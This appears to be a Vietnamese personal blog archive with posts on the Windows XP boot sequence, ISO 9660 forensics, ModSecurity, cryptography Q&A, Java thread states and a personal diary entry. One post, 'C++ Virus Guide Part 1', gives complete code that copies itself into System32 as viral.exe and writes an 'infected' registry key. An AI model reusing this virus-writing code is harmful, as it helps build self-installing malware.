Thứ Tư, 16 tháng 4, 2014

Windows XP Boot Process

Sau đây mình sẽ mô tả tiến trình boot trong Windows XP

Sau khi đã được cấp nguồn điện, một máy tính chạy Windows XP sẽ thực hiện các bước sau:
1. Nguồn cung cấp điện tự kiểm tra chính nó và gửi đi một tín hiệu năng lượng tốt (power-good signal) tới bộ vi xử lý
2. chip thời gian ngưng việc gửi cá tín hiệu reset tới bộ vi xử lý, cho phép CPU bắt đầu các hoạt động.
3. CPU nạp ROM BIOS bắt đầu tại địa chỉ bộ nhớ ROM FFFF:0000
4. ROM BIOS chứa một lệnh JMP (jmp) mà trỏ tới địa chỉ thực sự của ROM BIOS code.
5. ROM BIOS thực hiện các kiểm tra cơ bản trên phần cứng trung tâm để kiểm tra các chức năng cơ bản.
6. BIOS tìm kiếm các adapters cần thiết để nạp các ROM BIOS routines của riêng chúng
7. Startup BIOS routines quét qua các địa chỉ từ C000:0000 đến C780:0000 để tìm ra video ROM
8. ROM BIOS kiểm tra xem nếu đó là cold boot hay là một warm boot
9. Nếu đó là một cold boot, ROM BIOS thực thi trọn vẹn POST (power-on self-test). Nếu đó là một warm boot, phần kiểm tra bộ nhớ của POST bị tắt đi.
10. POST có thể bị chia ra thành 2 thành phần:

  • một video test khởi tạo video adapter
  • một video adapter kiểm tra video card và video memory, và hiển thị thông tin cấu hình hoặc bất cứ lỗi nào
11. BIOS xác định vị trí và đọc thông tin cấu hình được lưu trong CMOS.
12. BIOS phân tích đĩa để tìm master boot record (MBR)
13. Với một MBR hợp lệ được nạp vào trong bộ nhớ, BIOS chuyển quyền điều khiển của boot process tới partition loader code.
14. Partition loader, hoặc boot loader, phân tích partition table để tìm ra một partition active.
15. Partition loader sau đó tìm kiếm boot record trong mọi sector đầu tiên của partition đó. 
16. Boot record của active partition được kiểm tra để xem có boot signature hợp lệ hay không, nếu tìm thấy, boot sector code được thực thi như một chương trình
17. NTLDR, một file hệ thống ẩn trong thư mục root của system partition, điều khiển việc nạp Windows XP trong 4 chặng:
  • chặng khởi tạo boot-loader: NTLDR chuyển processor từ real mode sang protected mode, những gì đặt processor trong 32-bit memory mode và bật memory paging lên. Nó sau đó nạp các file system drivers thích hợp để cho phép NTLDR nạp các files từ một partition định dạng với bất cứ file systems nào được hỗ trợ bởi XP. Nếu file BOOT.INI được đặt trong thư mục root, NTLDR sẽ đọc nội dung của nó trong bộ nhớ. 
  • chọn lựa hệ điều hành: nếu BOOT.INI chứa các entries cho nhiều hơn một hệ điều hành, NTLDR sẽ dừng trình tự boot tại điểm này. Một user có thể nhấn F8 ở chặng này của thứ tự boot để hiển thị các tùy chọn boot
  • Phát hiện phần cứng: nếu OS được chọn là XP, NTLDR xác định vị trí và nạp chương trình NTDETECT.COM dựa trên DOS để thực hiện việc phát hiện phần cứng. Nếu máy tính này có nhiều hơn một hardware profile đã được định nghĩa trước, NTLDR sẽ dừng lại tại điểm này và hiển thị Hardware Profiles/Configuration Recovery menu. Sau khi người dùng chọn một cấu hình phần cứng, NTLDR bắt đầu nạp XP kernel (NTOSKRNL.EXE)
  • Chọn cấu hình: NTLDR bây giờ nạp các device drivers đã được đánh dấu như là boot devices. Sau khi nạp các drivers này, NTLDR từ bỏ quyền điều khiển tới các device drivers
18. NTOSKRNL đi qua 2 chặng trong quá trình boot của nó
  • Chặng 0: XP disable các ngắt trong suốt chặng 0 và enable chúng trước chặng 1.Tầng trừu tượng phần cứng (HAL) được gọi để chuẩn bị interrupt controller.
  • Chặng 1: Tất cả excutive subsystems được khởi tạo lại theo thứ tự sau:
    1. Object manager
    2. Executive
    3. Microkernel
    4. Security Reference Monitor
    5. Virtual Memory Manager
    6. Cache Manager
    7. Local Procedure Calls (LPCs)
    8. I/O Manager
    9. Process Manager
19. I/O Manager bắt đầu nạp tất cả system driver files
  • đầu tiên nó nạp boot devices
  • nó nối một danh sách các drivers được ưu tiên và cố gắng nạp mỗi driver lần lượt
  • nó khởi động Session Manager Subsystem (SMSS).
  • SMSS nạp win32k.sys device driver, những gì implement Win32 graphics subsystem.
20. Win32k.sys chuyển màn hình thành chế độ đồ họa
21. các services subsystem khởi động tất cả các services được đánh dấu như Auto Start
22. Mỗi khi tất cả các thiết bị và các dịch vụ được khởi động , boot được coi như là thành công , và cấu hình này được lưu vào như là cấu hình tốt nhất cuối cùng
23. file WINLOGON.EXE khởi động logon process. nó là một login manager file chịu trách nhiệm cho tất cả các thủ tục login và logout.
24. Local Security Authority (LSASS.EXE) process hiển thị hộp thoại logon.
 

Thứ Sáu, 4 tháng 4, 2014

[Computer Forensic] CD-ROM/DVD File Systems

Dữ liệu lưu trên CD-ROM/DVDs được chia thành 2 sectors. Các sectors này chứa cả dữ liệu người dùng (user data) lẫn các mã điều khiển lỗi (error detection codes). Users không cần phải lo lắng về những dữ liệu nào được lưu ở sector nào, nhưng users nên trang bị kiến thức về cấu trúc file trong CD-ROM/DVDs.

ISO 9660
ISO 9660 định nghĩa một file system cho CD-ROM/DVD media. Nó hướng đến việc hỗ trợ cho nhiều hệ điều hành khác nhau, ví dụ như Microsoft Windows, MAC OS, và UNIX, để cho phép trao đổi dữ liệu giữa nhiều hệ điều hành khác nhau.

ISO 9660 Specifications
Có một vùng được dự trữ với kích thước là 32,768 bytes nằm ở phần đầu của đĩa. Vùng lưu trữ này không được nhắc tới trong chuẩn ISO 9660, nhưng nó thường được sử dụng để lưu trữ các thông tin để boot hệ thống trên các các CD-ROM/DVDs có thể boot (bootable CD-ROM/DVDs  ).

Volume Descriptors Nằm ngay phía sau, một chuỗi volume descriptors mô tả chi tiết những nội dung và kiểu thông tin được lưu trên đĩa.
Một volume descriptor mô tả các thuộc tính của thông tin file system tên CD-ROM/DVDs cho trước. Nó được chia thành 2 phần: kiểu của volume descriptor và các thuộc tính của descriptor.
  Một volume descriptor được xây dựng theo cách mà nếu một chương trình đọc một disk không hiểu về một descriptor cụ thể nào, nó có thể bỏ qua descriptor đó cho đến khi nó tìm thấy một descriptor mà nó có thể nhận dạng, do vậy nó cho phép việc sử dụng nhiều kiểu thông tin trên một CD-ROM/DVDs. Còn nữa, nếu có một lỗi làm cho descriptor không thể đọc được, một bản sao dư thừa của một descriptor sẽ được sử dụng cho việc khôi phục lỗi.

Một đĩa theo chuẩn ISO 9660 chứa ít nhất một primary descriptor mô tả ISO 9660 file system và một terminating descriptor ám chỉ cuối của chuỗi descriptor. Joliet và UDF là những ví dụ của các file systems thêm vào nhiều descriptors tới chuỗi này.

Primary volume descriptor hoạt động giống như là superblock trên UNIX file system, cung cấp các chi tiết trên các vùng trên đĩa theo chuẩn ISO 9660. Chứa bên trong primary volume descriptor là root directory record mô tả vị trí của root directory. Directory entries được lưu bên trong vùng này. Root directory được lưu trữ như một mở rộng, hoặc một chuỗi tuần tự các sectors, mà chứa mỗi directory entries xuất hiện trong root. Ngoài ra, bởi vì ISO 9660 hoạt động thông qua việc phân chia CD-ROM/DVD thành các khối logic (logical blocks), kích thước của các blocks này được tìm thấy trong primary volume descriptor.

Trường đầu tiên trong một volume descriptor là volume descriptor type, nó có thể có các giá trị sau:

  • Number 0: volume descriptor là một boot record
  • Number 1: volume descriptor là một primary volume descriptor
  • Number 2: volume descriptor là một supplementary volume descriptor
  • Number 3: voluem descriptor là một volume partition descriptor
  • Number 255: volume descriptor là một volume descriptor set terminator
Trường thứ 2 được gọi là standard identifier và được set giá trị CD001 cho một CD-ROM theo chuẩn ISO 9660.
Một trường đáng chú ý khác đó là volume space size, trường naỳ chứa lượng dữ liệu trên CD-ROM
Các thuộc tính file rất đơn giản trong ISO 9660. Thuộc tính file quan trọng nhất xác định xem file đó là thư mục hay là file thông thường.

Có 2 cách để xác định vị trí một file trên một ISO 9660 file system
  • một là interpret các directory names và tìm trong thư mục đó có file cần tìm hay không
  • một cách khác đó là sử dụng các bảng đường dẫn đã được biên dịch trước (precomplied table of paths), ở đó tất cả các entries được liệt kê trong các nội dung của một file với các entries tương ứng.  

Thứ Ba, 11 tháng 2, 2014

Nghĩ linh tinh, linh tinh.....

2:00 Sáng, mất ngủ, eo ui đến sợ cái đám ma của người trên này (người miền nam), cơ mà nói vậy thì người đã khuất cũng bỏ qua cho hen (không có ý gì hết  á). Cắm headphone vậy, mấy lúc ngồi một mình lại sinh ra hay nghĩ ngợi linh tinh, nghĩ về ngày học sinh, nhớ mấy đứa bạn, thèm cái mùi sân trường,... Thường thì ta hay suy nghĩ về những gì ta chưa (mà đáng ra phải) làm trong quá khứ, để còn có cái cớ mà ngồi nghĩ, ngồi tiếc. Mình, mình tiếc gì? Nhẩm sơ thì cũng nhiều, trách hồi xưa sao mà nó ngang phè phè, hì xin lỗi bản thân mình hiện tại nhe ! trẻ trâu mà ai mà không có một thời. 
Về nhà, mỗi bận về nhà không quên ngó qua trường, hì! trường dạo này khang trang lắm rùi, mấy em học sinh cũng dễ thương nữa :3 Đâu đó là hình bóng của mình và mấy thằng bạn, còn nhớ những bận tan học nán về sau cùng đợi mấy đứa học sinh khác xuống trước vì cái lý do trời ơi: "tụi nó đi dưới chân tụi mình" haha nhảm, nhảm... mà cái lý do đó không phải chỉ ba thằng biết đâu nhá (tao vẫn nhớ con nhỏ kính cận nhìn từ dưới cầu thang lên đó nha). 
Bình Phước mình nóng, sân trường mình cây còn nhỏ, tập thể dục giữa giờ là cực hình, nhưng chắc không thể quên được mấy cái ghế đá mà mấy đứa hay ngồi tám ngược, tám xuôi, rùi tụi trên lầu ném phấn xuống nữa, vui thôi rùi :D 
Nhớ những buổi học nhóm, học nhóm bắt đầu từ lớp mười, hồi mấy thằng còn đạp xe đạp vào nhà Q cơ, về sau có đi xe máy mà cảm giác cũng không khác, dù chơi hay học tao cũng thấy vui. Anh em cùng học, chơi, rùi còn ăn uống với nhau nữa chứ.
Bình Phước mùa mưa, mưa to lắm! Nhớ những trận mưa trong đợt thi tốt nghiệp năm đó không! giờ mưa to  (mà phải là mưa ở BP) là tao thấy nó sao sao (man mác thì phải) ngửi cái mùi đất nhớ những lúc rảnh rỗi lại rủ nhau đá banh, đá banh thì chắc chẳng thằng nào quên rùi, đông cũng đá, bốn thằng cũng đá, sân kiểu nào mà chẳng đá được.
Dạo này dưới quê làm đường, quán bánh xèo đóng cửa, lâu qúa tao không ăn ở đó rùi. Gặp bạn bè cũng hay quảng cáo quán đó ngon, ngồi hàng tiếng tám chuyện ở đó... Vậy nên tao không thích ra ĐX :v
Còn tiếp.... :D

Thứ Sáu, 10 tháng 1, 2014

Tìm hiểu về Mod Security [Phần 1]

Yeah chính thức thi xong. Rảnh rỗi tập trung nghiên cứu mod security. Dự định viết một loạt bài về em này, vừa viết vừa học :)

1. Mở đầu
Ngày nay ứng dụng web ngày càng phổ biến, vấn đề bảo mật ứng dụng web cũng nhận được sự quan tâm đặc biệt do nhận thấy được sự nguy hiểm nằm tại các lỗ hổng bảo mật của các phần mềm web server hoặc các modules phụ trợ, điều này có thể dẫn đến việc một web server bị thỏa hiệp (compromise), thất thoát dữ liệu hoặc là downtime. Hậu quả sẽ rất nặng nề nếu ta không có những biện pháp hợp lý để bảo vệ ứng dụng web của mình, và ModSecurity là một trong những công cụ giúp ta làm điều này.

2. ModSecurity là gì ?
ModSecurity là một web application firewall (WAF). Giống như những firewall thông thường khác, nó lọc những lưu lượng dữ liệu vào và ra để có thể quyết định chặn lại những lưu lượng mà nó nghi ngờ là độc hại dựa theo tập lệnh nó định nghĩa. Nó còn có nhiều tính năng vượt trội khác như là HTTP transaction logging và content injection...

Các rules được tạo và chỉnh sửa sử dụng một định dạng văn bản đơn giản, nó làm cho việc viết rules trở nên đơn giản hơn. Mỗi khi bạn đã quen với cú pháp của ModSecurity, bạn có thể nhanh chóng viết được những rules để block một exploit mới hoặc ngăn chặn một lỗ hổng.

Bạn có thể hình dung ModSecurity như là một trạm trung gian giữa HTTP Request và httpd (dịch vụ web server). Khi phát hiện ra một cuộc tấn công, những chi tiết về vụ tấn công sẽ được lưu vào log file hoặc một email có thể được gửi tới người quản trị viên để báo hiệu có một cuộc tấn công xảy ra trên hệ thống.

3. Tại sao tôi cần dùng ModSecurity ?
Hình dung rằng bạn đang quản trị một web server, server của bạn chạy phà phà không gặp phải bất kì sự cố lớn nào. Một ngày đẹp trời, nó đột nhiên dở chứng - web server port bị đóng và bạn thậm chí không thể đăng nhập được vào server thông qua SSH.

Điều bạn không biết đó là có một 0-day exploit của PHP, xuất phát từ việc web site của bạn có nhiều dynamic content được viết bằng PHP. Hacker có thể lợi dụng exploit này để thực thi shellcode trên server của bạn (thêm vào một user mới và cho phép anh này login vào trong server của bạn thông qua SSH). Một khi đã đi vào bên trong hacker có thể tiến hành leo thang đặc quyền để chiếm lấy quyền root. Một khi đã có quyền root thì "sân khấu" sẽ là của anh ta, muốn làm gì thì làm.

Điều khó khăn trong việc bảo vệ server đó là những exploits mới hầu như ngày nào cũng xuất hiện và bạn sẽ gặp khó khăn trong việc cập nhật và sẽ có những khoảng thời gian server của bạn năm trong tình trạng báo động.

ModSecurity cho phép bạn bảo vệ server của mình thông qua việc viết các luật nhằm bao phủ một dải các viễn cảnh tấn công có thể. Do đó, ModSecurity là một lớp bổ sung có thể giúp bạn bảo vệ theo một cách không cần bản vá.

ModSecurity sẽ giúp bạn ngủ ngon hơn, trên tất cả, nó giải quyết các vấn đề về tầm nhìn: nó giúp bạn nhìn thấy lưu lượng web của mình. Đó là chìa khóa trong security: mỗi khi bạn có thể nhìn thấy HTTP traffic, bạn có thể phân tích nó trong thời gian thực, record nó khi cần thiết và phản ứng lại với các sự kiện. Điểm nổi bật ở đây là bạn có thể làm tất cả mà không tác động gì tới các ứng dụng web. Thậm chí tốt hơn, nó còn có thể áp dụng với bất kì ứng dụng nào - ngay cả khi bạn không thể truy được vào source code.

Thế đã, phần sau sẽ nói về cách cài đặt ModSecurity :3

Thứ Bảy, 30 tháng 11, 2013

Trả lời mật mã

1. Kiểu cipher nào là Caesar cipher?
Ceasar là kiểu mã hóa cổ điển.
2. Sự khác nhau giữa block cipher và stream cipher?
- Block cipher: lấy một số lượng bit xác định, còn được gọi là block, trong thông điệp nguyên thủy và mã hóa block đó.
- Stream cipher: mã hóa từng bit một trong thông điệp nguyên thủy, mỗi lần một bit.'
3. ECC được phân loại như thể loại nào của giải thuật mật mã ?
ECC (Elliptic curve cryptography) là một lớp của các giải thuật mật mã bất đối xứng.
4. Những điểm chính trong nguyên lý Kerckhoff?
- Hệ thống phải vững chắc , nếu không về mặt toán học, thì nó không thể đọc được.
- Hệ thống có thể không yêu cầu bí mật và có thể bị ăn trộm bởi kẻ địch mà không gây ra bất cứ vấn đề gì
- Hệ thoongs có thể dễ dàng giao tiếp và nhớ các keys mà không phải yêu cầu các ghi chú, và nó phải dễ dàng thay đổi hoặc chỉnh sửa các keys với những thành phần khác nhau
- Hệ thống có thể tương thích với các giao tiếp điện đàm
- Hệ thống phải có thể portable và các ứng dụng của nó có thể không yêu cầu nhiều hơn một người
- Cuối cùng, không quan tâm đến những hoàn cảnh mà hệ thống được áp dụng, nó phải dễ dàng sử dụng và không yêu cầu suy nghĩ nhiều cũng như kiến thức về những điều luật.
5. Substitution cipher là gì ?
Substitution cipher là loại mã hoạt động dựa trên nguyên tắc thay thế mỗi từ mã (bit, byte, ký tự, ...) bởi một từ mã khác theo một nguyên tắc nào đó.
6. Những sự khác nhau chính giữa mật mã đối xứng và bất đối xứng?
- Đối xứng: sử dụng một key
- Bất đối xứng: sử dụng 2 keys: public key và private keys
- Đối xứng: tốc độ nhanh nhưng gặp vấn đề trong việc trao đổi khóa
- Bất đối xứng: tốc độ chậm, không quan tâm về việc trao đổi khóa
7. Giải thích 3 DES khác thế nào so với DES?
- 3 DES là DES được sử dụng để mã hóa mỗi block 3 lần, mỗi lần với một key khác nhau .
8. Cách public key cryptography hoạt động ?
- public key cryptography sử dụng 2 khóa: một public key và một private key. Public key được sử dụng để mã hóa dữ liệu gửi từ người gửi đến người nhận và được chia sẻ với mọi người. Private key được sử dụng để giải mã dữ liệu đến tại nơi nhận và được bảo vệ cẩn thận bởi người nhận.
9 . Giải mã đoạn thông điệp:  V qb abg srne pbzchgref. V srne gur ynpx bs gurz. -Vfnnp Nfvzbi
- Thông điệp gốc là:
I do not fear computers. I fear the lack of them.
-Isaac Asimov
10. Physical security quan trọng như thế nào khi thảo luận về mật mã?
- Physical security  là một bước quan trọng khác trong việc bảo vệ dữ liệu. Nếu chúng ta khiến cho attacker khó tiếp cận về mặt vật lý đối với những thiết bị lưu trữ đồng nghĩa với việc chúng ta giải quyết được một phần lớn vấn đề của mình. Trong nhiều tình huống, các tổ chức lớn có các databases, file servers, và workstations chứa những thông tin về khách hàng, các dự báo kinh doanh, các tài liệu chiến lược kinh tế, các biểu đồ mạng hoặc nhiều thông tin khác mà chúng ta không muốn công khai hoặc rơi vào tay đối thủ cạnh tranh. Nếu chúng ta đặt những thiết bị vật lý ở những nơi có tính an toàn không cao, một attacker có thể đơn giản đi vào trụ sở và ăn trộm laptop, flash drive, hoặc đĩa từ một server và bỏ trốn với dữ liệu lấy trộm được.


Chủ Nhật, 3 tháng 11, 2013

C++ Virus Guide :: Part 1

Khi tôi bắt đầu học về virus, tôi tìm thấy rất nhiều hướng dẫn về virus trong ASM. Loại ngôn ngữ này rất thịnh hành với những người viết virus, nhưng tôi thích sử dụng C++ vì nó đơn giản hơn. Trong phần đầu tiên này tôi sẽ hướng dẫn copy một chương trình virus đơn giản vào trong một thư mục và ghi nó trong registry để giúp cho bạn hiểu cách virus lây nhiễm vào máy tính của chúng ta.

#include windows.h
#include string.h

Đây là 2 header files thường được sử dụng nhiều trong virus. "string.h" được cần đến khi ta sử dụng hàm strcat.

Tiếp theo chúng ta cần set một biến được cần tới. Biến này sẽ lưu đường dẫn tới thư mục trên windows (C:\Windows), số kí tự tối đa có thể lên tới 256 kí tự và nó có thể được viết như sau

char windir[MAX_PATH];

Bây giờ chúng ta cần bắt đầu hàm main, đây sẽ là nơi bạn lưu phần còn lại của code, nó là một entry-point function được gọi bởi hệ thống như là entry point khởi đầu của các ứng dụng dựa trên Windows.

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)

Đây là hàm mở chuẩn (standard opening function) cho bất cứ ứng dụng Windows nào như

Private main() in VB
.START in ASM
void main() in C
begin in pascal

và tương tự 

Ok bây giờ chúng ta cần set thêm biến trong hàm main. Biến thứ nhất sẽ lưu pathname của biến tiếp theo mà sẽ lưu vị trí của virus của bạn, biến khác sẽ được sử dụng cho handle của key, những gì sẽ được enter vào trong registry.

char pathname[256];
HKEY hKey;

Right, ok. Chúng ta bắt đầu code. Như tôi đã nói từ trước chương trình này sẽ lưu pathname của thư mục Windows và lưu nó vào trong biến 'windir'. Để có được windows path chúng ta có thể sử dụng dòng code phía dưới những gì sẽ lưu nó vào biến windir

GetWindowsDirectory(windr, sizeof(windr))

Nào bây giờ chúng ta đã có được pathname của windows directory, điều tiếp theo ta cần làm là tìm tên và đường dẫn của chính chương trình đó 

HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

Hiện tại chúng ta đã có windows directory, tên của chương trình, và đường dẫn của nó. Những gì chúng ta cần làm bây giờ là chuẩn bị một target path những gì sẽ là C:\Windows\System32\ là những gì chúng ta có thể thấy trong biến windir và chuẩn bị cho phần còn lại thông qua việc thêm vào cuối , thêm vào những gì bạn muốn, đó là tên của chương trình thực thi, đối với trường hợp của tôi là viral.exe.

Sử dụng hàm CopyFile, nó sẽ copy pathname của chính chương trình đến nơi bạn muốn "windir"

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


Sử dụng Registry

Tôi sẽ chỉ hướng dẫn bạn một cách đơn giản để sử dụng registry
Thứ nhất là set bất cứ giá trị nào bạn muốn. Nó sẽ lưu giá trị trong "reg" lên tới 10 kí tự, nếu bạn không thay đổi nó.

unsigned char reg[10] = "infected";

Bây giờ thì tạo một key
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);

và set giá trị cho nó
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));

đóng key chúng ta đã mở và kết thúc WinMain function
RegCloseKey(hKey);



Complete Code
#include windows.h#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)
{

char pathname[256];
HKEY hKey;

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,
sizeof(reg));
RegCloseKey(hKey);

}

Chủ Nhật, 22 tháng 9, 2013

Vòng đời của một Thread


Tại bất kì một thời điểm nào, một thread có thể nằm trong một vài trạng thái của thread (thread states) - minh hoạ trong UML state diagram trong Fig.26.1 .

New and Runnable States

Một new thread bắt đầu vòng đời của nó trong new state. Nó duy trì trạng thái đó cho đến khi chương trình starts thread, những gì đặt trong runnable state. Một thread trong runnable state được biết đến như là đang thực thi công việc của nó.

Waiting State

Thỉnh thoảng một runnable thread chuyển sang waiting state trong khi nó chờ đợi thread khác thực thi một công việc. một waiting thread chuyển ngược trở lại runnable state chỉ khi thread khác thông báo rằng nó (thread đang chờ) có thể tiếp tục thực thi.

Timed Waiting State

Một runnable thread có thể gia nhập timed waiting state trong một khoảng thời gian xác định. Nó chuyển đổi ngược trở lại thành runnable state khi khoảng thời gian chờ hết hiệu lực hoặc khi sự kiện nó đang chờ xảy ra. Timed waiting waiting threads không thể sử dụng một processor, thậm chí nó available. Một runnable thread có thể chuyển đến timed waiting state nếu nó cung cấp một khoảng thời gian chờ khi nó đang chờ đợi một thread khác thực thi một công việc. Những thread như vậy quay trở về runnable state khi nó được thông báo bởi một thread khác hoặc khi thời gian chờ hết hiệu lực - bất cứ cái nào đến trước. Một cách khác để đặt một thread trong timed waiting state là đặt một runnable thread trong trạng thái ngủ. Một sleep thread duy trì trong timed waiting state trong một khoảng thời gian xác định (được gọi là một sleep interval), sau khoảng thời gian này nó quay trở về runnable state. Threads sleep khi chúng không có công việc để thực hiện trong giây lát. Ví dụ, một word processor có thể chứa một thread mà back up định kỳ document hiện hành lên đĩa cho mục đích khôi phục dữ liệu. Nếu thread này không sleep giữa những lần backups thành công, nó có thể yêu cấu một loop để xác định xem có nên chép document lên đĩa hay không. Loop này có thể ngốn processor time mà không làm được công việc nào hiệu quả, do đó giảm system performance. Trong trường hợp này, một giải pháp hiệu quả là cho thread chỉ định một sleep interval (bằng với khoảng thời gian giữa các lần backups thành công) và sau đó gia nhập vào timed waiting state. Thread này có thể được trả về runnable state khi sleep interval của nó hết hạn, ở những thời điểm nó chép bản sao của document lên đĩa và gia nhập lại timed waiting state.

Blocked State

Một runnable thread chuyển sang blocked state khi nó cố gắng thực hiện một công việc mà khổng thể được hoàn thành ngay lập tức mà nó phải tạm thời chờ cho đến khi cho đến khi công việc đó hoàn thành. Ví dụ, khi một thread giải quyết một I/O request, OS blocks thread đang thực thi cho đến khi I/O request hoàn thành

Terminated State

Một runnable thread gia nhập terminated state (thỉnh thoảng được gọi là dead state) khi nó hoàn thiện thành công công việc của nó hoặc kết thúc vì một lý do khác (có thể là do lỗi )